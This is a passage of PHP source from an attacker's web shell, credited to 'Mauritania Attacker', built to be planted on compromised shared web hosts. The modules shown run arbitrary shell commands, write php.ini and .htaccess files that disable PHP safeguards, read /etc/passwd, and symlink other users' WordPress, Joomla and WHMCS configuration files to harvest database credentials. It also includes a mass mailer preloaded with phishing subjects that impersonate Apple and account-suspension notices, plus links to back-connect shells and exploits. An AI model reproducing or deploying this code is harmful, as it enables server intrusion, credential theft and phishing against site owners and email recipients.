2736<a href="?action=dose">Cms Scanner</a> -
2737<a href="?action=vkill">Perl based symlink</a> -
2738<a href="?action=file">Symlink Manual</a> -
2739<a href="?action=manu">Manually Retrieve Config</a> -
2740<a href="?action=ensim">Enable Symlink If Disabled</a> -
2741<a href="?action=pytcp">Python Bypass Forbidden Via TCP Protocol</a> -
2742<a href="?action=simby">Symlink Bypass 2014</a> </center>
2743</b>';
2744echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Enable Symlink If Disabled</span><center><br>';
2745echo '<br><center><form method=post><br><br>
2746<input type=submit name=ens value="Bypass" /></form></center>';
2747
2748error_reporting(0);
2749
2750if(isset($_POST['ens']))
2751{
2752mkdir('ensim',0755);
2753$rr ='<Directory "/">
2754Options All
2755Options +FollowSymLinks
2756Options +SymLinksIfOwnerMatch
2757Options +ExecCGI
2758AllowOverride AuthConfig FileInfo Indexes Limit Options=Includes,Includes,Indexes,MultiViews,SymLinksIfOwnerMatch
2759</Directory>';
2760$g = fopen('ensim/.htaccess','w');
2761fwrite($g,$rr);
2762echo "<br><br><font face='Tahoma' color='#ff0000' size='2pt'>Symlink Function Enabled Successfully in apache pre main conf</font></center>";
2763}
2764}
2765
2766if(isset($_GET['action']) && $_GET['action'] == 'maiilllerrr'){
2767echo '<center><b class="conte">
2768<a href="?action=maiilllerrr">Mailer</a> -
2769<a href="?action=Everythingdawg">Everything You Need</a> -
2770<a href="?action=payppallchker">Paypal Checker</a> -
2771<a href="?action=emailllextrctr">Email Extractor</a></center></b>';
2772echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Spam Mailer</span><center><br>';
2773$testa = $_POST['veio'];
2774if($testa != "") {
2775$message = $_POST['html'];
2776$subject = $_POST['assunto'].$_POST['assunto2'];
2777$nome = $_POST['nome'];
2778$de = $_POST['de'];
2779$to = $_POST['emails'];
2780$email = explode("\n", $to);
2781$message = stripslashes($message);
2782$i = 0;
2783$count = 1;
2784while($email[$i]) {
2785$ok = "ok";
2786$headers = "MIME-Version: 1.0\n";
2787$headers .= "Content-Type: text/html; charset=UTF-8
2788Content-Transfer-Encoding: 7bit
2789X-Mailer: EDMAIL R6.00.02
2790Content-Length: 41061\n";
2791$headers .= "From: ".$email[$i]."\r\n";
2792if(mail($email[$i], $subject, $message, $headers))
2793echo "<center><font face=Arial size=2 color=898989>| Numero : [$count] <b>".$email[$i]."</b>: <font face=Arial size=2 color=#0982ba>Sent . . . *o*</font><br><hr class=style-three></center>";
2794else
2795echo "<center><font face=Arial size=2 color=898989>| Numero : [$count] <b>".$email[$i]."</b>: <font face=Arial size=2 color=#b41420>Error in Sending ? :(</font><br><hr class=style-three></center>";
2796$i++;
2797$count++;
2798}
2799$count--;
2800if($ok == "ok")
2801echo "";
2802
2803}
2804
2805
2806echo'<html><head><title>|| Priv8 M@iler ||</title><meta http-equiv="content-type" content="text/html; charset=utf-8"></head>';
2807
2808echo'<body><center><form action="" method="post" enctype="multipart/form-data" name="form1"><div class="style2"><input type="hidden" name="veio" value="sim">
2809<tr><center>
2810<table style="width: 100%"></center>
2811<tr>
2812<td style="width: 1686px">
2813<center><table border="0" width="80%" bordercolorlight="#007700" bordercolordark="#007700" style="border: 1px solid #007700; border-radius:4px;" bgcolor="#222222" >
2814<td height="25" align="center" bgcolor="#222222" style="width: 849px">
2815<img alt="" height="120" src="http://icons.iconarchive.com/icons/iconshock/real-vista-mail/256/inbox-icon.png" width="250"></td><tr align="center">
2816<td style="width: 849px" ><font class="fontx1">
2817</td>
2818</center>
2819</tr>
2820<tr>
2821<td height="194" valign="top" bgcolor="#222222" style="width: 849px">
2822<table width="100%" border="0" cellpadding="0" cellspacing="5" class="normal" height="444">
2823<tr><td height="17" class="style1"><b><font face:Tahoma, Geneva, sans-serif; color="#009900" size="2pt">| SUBJECT :</font></b></td>
2824<td height="17"><select name="assunto" id="assunto" class="form2" style="width: 250px">
2825<option selected value="">Select Title</option>
2826<option value="Test Test">Test Test</option>
2827<option value="Apple Expiration de Votre Compte Ref : MNE0-13NB">Apple Expiration de Votre Compte Ref : MNE0-13NB</option>
2828<option value="You may to Update Your Account ID">You may to Update Your Account ID</option>
2829<option value="Update your account information">Update your account information</option>
2830<option value="Your account has been limited until we hear from you">Your account has been limited until we hear from you</option>
2831</select><font class="fontx1"> OR <input name="assunto2" id="assunto" class="form2" type="text" style="width: 280px">
2832</td></tr><tr align="center" bgcolor="#007700">
2833<td height="20" colspan="2" bgcolor="#222222" class="style1"><b><font face:Tahoma, Geneva, sans-serif; color="#009900" size="2pt">
2834|LETTER :</font></b></td></tr>
2835<tr align="right">
2836<td height="146" colspan="2" valign="top"><br>
2837<textarea class="area" name="html" style="width:100%" rows="8" wrap="VIRTUAL" class="form" id="html" cols="20"></textarea>
2838<b><font face:Tahoma, Geneva, sans-serif; color="#009900" size="2pt">| Reminder : Text HTML |</font></b></td>
2839</tr><tr align="center" bgcolor="#222222">
2840<td height="10" colspan="2" class="style1"><b><font face:Tahoma, Geneva, sans-serif; color="#009900" size="2pt">
2841| MAILING LIST :</font></b></tr>
2842<tr align="right">
2843<td height="136" colspan="2" valign="top"><br>
2844<textarea class="area" name="emails" style="width:100%" rows="8" wrap="VIRTUAL" class="form" id="emails" cols="20">
2845hacklogie@outlook.com</textarea>
2846<b><font face:Tahoma, Geneva, sans-serif; color="#009900" size="2pt">| Mail List |</font></b> </td>
2847</tr><tr>
2848<td height="26" valign="top" colspan="2" class="style1"><input class="button grey" type="submit" name="Submit" value="Send Message"></td>
2849</tr></table></td></tr></table></center><br><br></td>
2850</div>
2851</form>
2852</body>';
2853}
2854
2855if(isset($_GET['action']) && $_GET['action'] == 'simby'){
2856echo '<center><b class="conte">
2857<a href="?action=sym">Symlink Info</a> -
2858<a href="?action=dose">Cms Scanner</a> -
2859<a href="?action=vkill">Perl based symlink</a> -
2860<a href="?action=file">Symlink Manual</a> -
2861<a href="?action=manu">Manually Retrieve Config</a> -
2862<a href="?action=ensim">Enable Symlink If Disabled</a> -
2863<a href="?action=pytcp">Python Bypass Forbidden Via TCP Protocol</a>
2864<a href="?action=simby">Symlink Bypass 2014</a> </center>
2865</b>';
2866echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Symlink Bypass 2014 by Mauritania Attacker</span><center><br>';
2867$fp = fopen("php.ini","w+");
2868fwrite($fp,"safe_mode = OFF
2869Safe_mode_gid = OFF
2870disable_functions = NONE
2871disable_classes = NONE
2872open_basedir = OFF
2873suhosin.executor.func.blacklist = NONE ");
2874echo'<form method="post">
2875<input type="text" name="file" value="/home/user/public_html/config.php" size="60"/><br /><br />
2876<input type="text" name="ghostfile" value="output.txt" size="60"/><br /><br />
2877<input type="submit" value="Bypass" name="symlink" /> <br /><br />
2878</form>
2879';
2880echo '<div class="tul"><b>PHP VERSION:</b> <font color="009900" face="shell, Geneva, sans-serif" style="font-size: 8pt">';echo phpversion();
2881
2882$fichier = $_POST['file'];
2883$ghostfile = $_POST['ghostfile'];
2884$symlink = $_POST['symlink'];
2885
2886if ($symlink)
2887{
2888
2889
2890$dir = "mauritania";
2891if(file_exists($dir)) {
2892echo "<br><font color='red'>[+] mauritania Folder Already Exist °_° are you Drunk XD !!!</font><br />\n";
2893} else {
2894@mkdir($dir); {
2895echo "<br><font color='red'>\!/ mauritania Folder Created ^_^ \!/</font><br />\n";
2896echo "<br><font color='red'>\!/ $ghostfile Retrieved Successfully ^_^ \!/</font><br />\n";
2897}
2898}
2899
2900// Extract Priv8 htaccess File //
2901$priv9 = "#Priv9 htaccess By Mauritania Attacker
2902OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
2903DirectoryIndex $ghostfile
2904ForceType text/plain
2905AddType text/plain .php
2906AddType text/plain .html
2907AddType text/html .shtml
2908AddType txt .php
2909AddHandler server-parsed .php
2910AddHandler txt .php
2911AddHandler txt .html
2912AddHandler txt .shtml
2913Options All
2914Options All";
2915$f =@fopen ('mauritania/.htaccess','w');
2916@fwrite($f , $priv9);
2917
2918@symlink("$fichier","mauritania/$ghostfile");
2919
2920echo '<br /><a target="_blank" href="mauritania/" >'.$ghostfile.'</a>';
2921}
2922}
2923
2924if(isset($_GET['action']) && $_GET['action'] == 'cmd'){
2925echo '<center><b class="conte">
2926<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
2927<a href="?action=cmd">Command Execution</a> -
2928<a href="?action=com64">Base64 Command</a> -
2929<a href="?action=vgrab">Config Grabber</a> -
2930<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
2931<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -
2932<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
2933<a href="?action=cari">Find Directory Writable/Readable</a> -
2934<a href="?action=zonh">Zone-h Notifier</a> -
2935<a href="?action=shhhshell">Shtml Command Shell</a> -
2936<a href="?action=beko">Back connect Simple</a> -
2937<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
2938<a href="?action=prlbckacnonect">Perl BackConnect</a> -
2939<a href="?action=pythnonbakcncete">Python BackConnect</a> -
2940<a href="?action=exploit">Exploit</a> -
2941<a href="?action=whmcskillrer">Whcms Killer</a> -
2942<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
2943<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
2944</center>
2945</b>';
2946echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Command Execution</span><center><br>';
2947echo '
2948<form method=get action="'.$me.'">
2949<p>
2950<textarea class="area" rows="17" name="S1" cols="70" >';
2951if (strlen($_GET['command'])>1 && $_GET['execmethod']!="popen"){
2952echo $_GET['execmethod']($_GET['command']);}
2953if (strlen($_POST['command'])>1 && $_POST['execmethod']!="popen"){
2954echo $_POST['execmethod']($_POST['command']);}
2955
2956if (strlen($_GET['command'])>1 && $_GET['execmethod']=="popen"){
2957popen($_GET['command'],"r");}
2958
2959echo'</textarea></p><br><p align="center">
2960<input type=hidden name="vw" size="50" value="cmd"> <input type="text" name="command" size="43"> <select name=execmethod>
2961 <option value="system">System</option> <option value="exec">Exec</option> <option value="passthru">Passthru</option><option value="popen">popen</option>
2962</select> <input type="submit" value="Execute">
2963</p></form>';
2964
2965}
2966if(isset($_GET['action']) && $_GET['action'] == 'com64'){
2967echo '<center><b class="conte">
2968<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
2969<a href="?action=cmd">Command Execution</a> -
2970<a href="?action=com64">Base64 Command</a> -
2971<a href="?action=vgrab">Config Grabber</a> -
2972<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
2973<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -
2974<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
2975<a href="?action=cari">Find Directory Writable/Readable</a> -
2976<a href="?action=zonh">Zone-h Notifier</a> -
2977<a href="?action=shhhshell">Shtml Command Shell</a> -
2978<a href="?action=beko">Back connect Simple</a> -
2979<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
2980<a href="?action=prlbckacnonect">Perl BackConnect</a> -
2981<a href="?action=pythnonbakcncete">Python BackConnect</a> -
2982<a href="?action=exploit">Exploit</a> -
2983<a href="?action=whmcskillrer">Whcms Killer</a> -
2984<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
2985<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
2986</center>
2987</b>';
2988echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Base64 Command</span><center><br>';
2989echo ' <tr>
2990 <td width="100%" height="1">';
2991if (empty($_POST['fak'])){
2992echo '<form method="POST"><input type="text" name="fak" size="70" value="/home/user/public_html/index.php"> <input type="submit" value="Encode"></form><br>';
2993}else{
2994$b4se64 =$_POST['fak'];
2995$heno =base64_encode($b4se64);
2996echo '<p align="center">';
2997echo '<textarea method="POST" rows="1" cols="60" wrar="off">';
2998print $heno;
2999echo '</textarea>';
3000}
3001echo '<form method="post" /><input type="text" name="coz" size="43" value="L2V0Yy9wYXNzd2Q=" /> <input type="submit" value="Execute" /> <select name=dec><option value=show>Read</option><option value=decode>Command</option></select></form><br>';
3002if( !empty($_POST['coz']) )
3003if ($dec=='decode'){echo '<form name=form method=POST>';}
3004echo "<p align=center><textarea class='area' method='POST' name='codene' cols='70' rows='15' wrar='off' >";
3005$ss=$_POST['coz'];
3006$file = base64_decode($ss);
3007if((curl_exec(curl_init('file:ftp://../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../'.$file))) and empty($file))
3008if ($_POST['dec']=='decode'){echo base64_encode($_POST['codene']);}
3009echo '</textarea></p>';
3010echo '</td>
3011</tr>';
3012
3013}
3014if(isset($_GET['action']) && $_GET['action'] == 'vgrab'){
3015echo '<center><b class="conte">
3016<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
3017<a href="?action=cmd">Command Execution</a> -
3018<a href="?action=com64">Base64 Command</a> -
3019<a href="?action=vgrab">Config Grabber</a> -
3020<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
3021<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -
3022<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
3023<a href="?action=cari">Find Directory Writable/Readable</a> -
3024<a href="?action=zonh">Zone-h Notifier</a> -
3025<a href="?action=shhhshell">Shtml Command Shell</a> -
3026<a href="?action=beko">Back connect Simple</a> -
3027<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
3028<a href="?action=prlbckacnonect">Perl BackConnect</a> -
3029<a href="?action=pythnonbakcncete">Python BackConnect</a> -
3030<a href="?action=exploit">Exploit</a> -
3031<a href="?action=whmcskillrer">Whcms Killer</a> -
3032<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
3033<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
3034</center>
3035</b>';
3036echo "<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>Config Grabber</span>";?></center><br><center><?php if (empty($_POST['config'])) { ?><p><font face="Tahoma" color="#007700" size="2pt">/etc/passwd content</p><br><form method="POST"><textarea name="passwd" class='area' rows='15' cols='60'><?php echo file_get_contents('/etc/passwd'); ?></textarea><br><br><input name="config" class='inputzbut' size="100" value="Fvck'em!" type="submit"><br></form></center><br><?php }if ($_POST['config']) {$function = $functions=@ini_get("disable_functions");if(eregi("symlink",$functions)){die ('<error>Symlink is disabled :( </error>');}@mkdir('vwconfig', 0755);@chdir('vwconfig');
3037$htaccess="
3038OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
3039Options Indexes FollowSymLinks
3040ForceType text/plain
3041AddType text/plain .php
3042AddType text/plain .html
3043AddType text/html .shtml
3044AddType txt .php
3045AddHandler server-parsed .php
3046AddHandler txt .php
3047AddHandler txt .html
3048AddHandler txt .shtml
3049Options All
3050Options All";
3051file_put_contents(".htaccess",$htaccess,FILE_APPEND);$passwd=$_POST["passwd"];$passwd=explode("\n",$passwd);echo "<br><br><center><font color=#b0b000 size=2pt>wait ...</center><br>";foreach($passwd as $pwd){$pawd=explode(":",$pwd);$user =$pawd[0];@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');@symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');@symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');@symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');@symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');@symlink('/home/'.$user.'/public_html/config.php',$user.'-configgg.txt');@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');@symlink('/home/'.$user.'/public_html/db.php',$user.'-dbconf.txt');@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');@symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-wp-test.txt');@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');@symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-joomla-protal.txt');@symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');@symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');@symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');@symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');@symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');@symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');@symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');@symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');}echo '<b class="cone"><font face="Tahoma" color="#00dd00" size="2pt"><b>Done -></b> <a target="_blank" href="vwconfig">Open configs</a></font></b>';}
3052}
3053if(isset($_GET['action']) && $_GET['action'] == 'cari'){
3054echo '<center><b class="conte">
3055<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
3056<a href="?action=cmd">Command Execution</a> -
3057<a href="?action=com64">Base64 Command</a> -
3058<a href="?action=vgrab">Config Grabber</a> -
3059<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
3060<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -
3061<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
3062<a href="?action=cari">Find Directory Writable/Readable</a> -
3063<a href="?action=zonh">Zone-h Notifier</a> -
3064<a href="?action=shhhshell">Shtml Command Shell</a> -
3065<a href="?action=beko">Back connect Simple</a> -
3066<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
3067<a href="?action=prlbckacnonect">Perl BackConnect</a> -
3068<a href="?action=pythnonbakcncete">Python BackConnect</a> -
3069<a href="?action=exploit">Exploit</a> -
3070<a href="?action=whmcskillrer">Whcms Killer</a> -
3071<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
3072<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
3073</center>
3074</b>';
3075echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Find Directory Writable/Readable</span></center><br><br>'.$end; function read_dir($path) { global $count; if ($handle = opendir($path)) { while (false !== ($file = readdir($handle))) { $dr="$path$file/"; if (($file!='.') and ($file!='..') and is_dir($dr)) { if (is_readable($dr) and is_writeable($dr)) { echo "[RW] " . $dr . "<br>\n\r"; $count++; } read_dir($dr); }}}} $count=0; set_time_limit(0); @$passwd=fopen('/etc/passwd','r'); if (!$passwd) { echo "<br><center><font color='#ff0000' size='2pt' />[-] No Access to /etc/passwd\n\r</center>"; exit;} $path_to_public=array(); echo "<html><center><table style='margin: 0 auto;'><tr valign='top'><td align='left'><font color='#007700' size='2pt' />\n\r"; while(!feof($passwd)) { $str=fgets($passwd); $pos=strpos($str,":"); $username=substr($str,0,$pos); $dirz="/home/$username/public_html/"; if (($username!="")) { if (is_readable($dirz)) { array_push($path_to_public,$dirz); if (is_writeable($dirz)) { $count++; echo "<font color=white>[</font><font color=yellow>R</font><font color=green>W</font><font color=white>]</font> " . $dirz . "<br><br><br>\n\r";} else echo "<font color=white>[</font><font color=yellow>R</font><font color=white>]</font> " . $dirz . "<br>\n\r"; }}} echo "<br><br><font color=white size=2pt>[+]</font> <font color=#00dd00 size=2pt>Found </font><font color=yellow size=2pt>" . sizeof($path_to_public) . "</font> <font color=#00dd00 size=2pt>readable public_html directories.</font><br><br>\n\r\n\r"; if (sizeof($path_to_public) != '0') { foreach ($path_to_public as $path) { } echo "<font color=white size=2pt>[+]</font> <font color=#00dd00 size=2pt>Found</font><font color=yellow size=2pt> " . $count . " </font><font color=#00dd00 size=2pt>writable directories.</font>\n\r"; echo "</td></tr></table></center></html>";
3076}
3077
3078}
3079if(isset($_GET['action']) && $_GET['action'] == 'mysqslsls'){
3080echo '<center><b class="conte">
3081<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
3082<a href="?action=cmd">Command Execution</a> -
3083<a href="?action=com64">Base64 Command</a> -
3084<a href="?action=vgrab">Config Grabber</a> -
3085<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
3086<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -
3087<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
3088<a href="?action=cari">Find Directory Writable/Readable</a> -
3089<a href="?action=zonh">Zone-h Notifier</a> -
3090<a href="?action=shhhshell">Shtml Command Shell</a> -
3091<a href="?action=beko">Back connect Simple</a> -
3092<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
3093<a href="?action=prlbckacnonect">Perl BackConnect</a> -
3094<a href="?action=pythnonbakcncete">Python BackConnect</a> -
3095<a href="?action=exploit">Exploit</a> -
3096<a href="?action=whmcskillrer">Whcms Killer</a> -
3097<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
3098<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
3099</center>
3100</b>';
3101echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>MySQL & PostgreSql Connect</span><br><div class=content>
3102<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
3103<td><font face='Tahoma' color='#007700' size='2pt' />Type</td><td><font face='Tahoma' color='#007700' size='2pt' />Host</td><td><font face='Tahoma' color='#007700' size='2pt' />Login</td><td><font face='Tahoma' color='#007700' size='2pt' />Password</td><td><font face='Tahoma' color='#007700' size='2pt' />Database</td><td></td></font></tr><tr>
3104<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
3105<center><td><select name='type'><option value='mysql' ";
3106if(@$_POST['type']=='mysql')echo 'selected';
3107echo ">MySql</option><option value='pgsql' ";
3108if(@$_POST['type']=='pgsql')echo 'selected';
3109echo ">PostgreSql</option></select></td>
3110<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
3111<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
3112<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
3113$tmp = "<input type=text name=sql_base value=''>";
3114if(isset($_POST['sql_host'])){
3115if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
3116switch($_POST['charset']) {
3117case "Windows-1251": $db->setCharset('cp1251'); break;
3118case "UTF-8": $db->setCharset('utf8'); break;
3119case "KOI8-R": $db->setCharset('koi8r'); break;
3120case "KOI8-U": $db->setCharset('koi8u'); break;
3121case "cp866": $db->setCharset('cp866'); break;
3122}
3123$db->listDbs();
3124echo "<select name=sql_base><option value=''></option>";
3125while($item = $db->fetch()) {
3126list($key, $value) = each($item);
3127echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
3128}
3129echo '</select>';
3130}
3131else echo $tmp;
3132}else
3133echo $tmp;
3134echo "</td>
3135
3136<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
3137<td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> <font face='Tahoma' color='#007700' size='2pt' />count the number of rows</td></center> <br>
3138</tr>
3139</table> <br>
3140<script>
3141s_db='".@addslashes($_POST['sql_base'])."';
3142function fs(f) {
3143if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
3144if(f.p1) f.p1.value='';
3145if(f.p2) f.p2.value='';
3146if(f.p3) f.p3.value='';
3147}
3148}
3149function st(t,l) {
3150d.sf.p1.value = 'select';
3151d.sf.p2.value = t;
3152if(l && d.sf.p3) d.sf.p3.value = l;
3153d.sf.submit();
3154}
3155function is() {
3156for(i=0;i<d.sf.elements['tbl[]'].length;++i)
3157d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
3158}
3159</script>";
3160if(isset($db) && $db->link){
3161echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
3162if(!empty($_POST['sql_base'])){
3163$db->selectdb($_POST['sql_base']);
3164echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
3165$tbls_res = $db->listTables();
3166while($item = $db->fetch($tbls_res)) {
3167list($key, $value) = each($item);
3168if(!empty($_POST['sql_count']))
3169$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
3170$value = htmlspecialchars($value);
3171echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
3172}
3173echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
3174if(@$_POST['p1'] == 'select') {
3175$_POST['p1'] = 'query';
3176$_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
3177$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
3178$num = $db->fetch();
3179$pages = ceil($num['n'] / 30);
3180echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
3181echo " of $pages";
3182if($_POST['p3'] > 1)
3183echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
3184if($_POST['p3'] < $pages)
3185echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
3186$_POST['p3']--;
3187if($_POST['type']=='pgsql')
3188$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
3189else
3190$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
3191echo "<br><br>";
3192}
3193if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
3194$db->query(@$_POST['p2']);
3195if($db->res !== false) {
3196$title = false;
3197echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
3198$line = 1;
3199while($item = $db->fetch()) {
3200if(!$title) {
3201echo '<tr>';
3202foreach($item as $key => $value)
3203echo '<th>'.$key.'</th>';
3204reset($item);
3205$title=true;
3206echo '</tr><tr>';
3207$line = 2;
3208}
3209echo '<tr class="l'.$line.'">';
3210$line = $line==1?2:1;
3211foreach($item as $key => $value) {
3212if($value == null)
3213echo '<td><i>null</i></td>';
3214else
3215echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
3216}
3217echo '</tr>';
3218}
3219echo '</table>';
3220} else {
3221echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
3222}
3223}
3224echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
3225if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
3226echo htmlspecialchars($_POST['p2']);
3227echo "</textarea><br/><input type=submit value='Execute'>";
3228echo "</td></tr>";
3229}
3230echo "</table></form></center><br/>";
3231if($_POST['type']=='mysql') {
3232$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
3233if($db->fetch())
3234echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
3235}
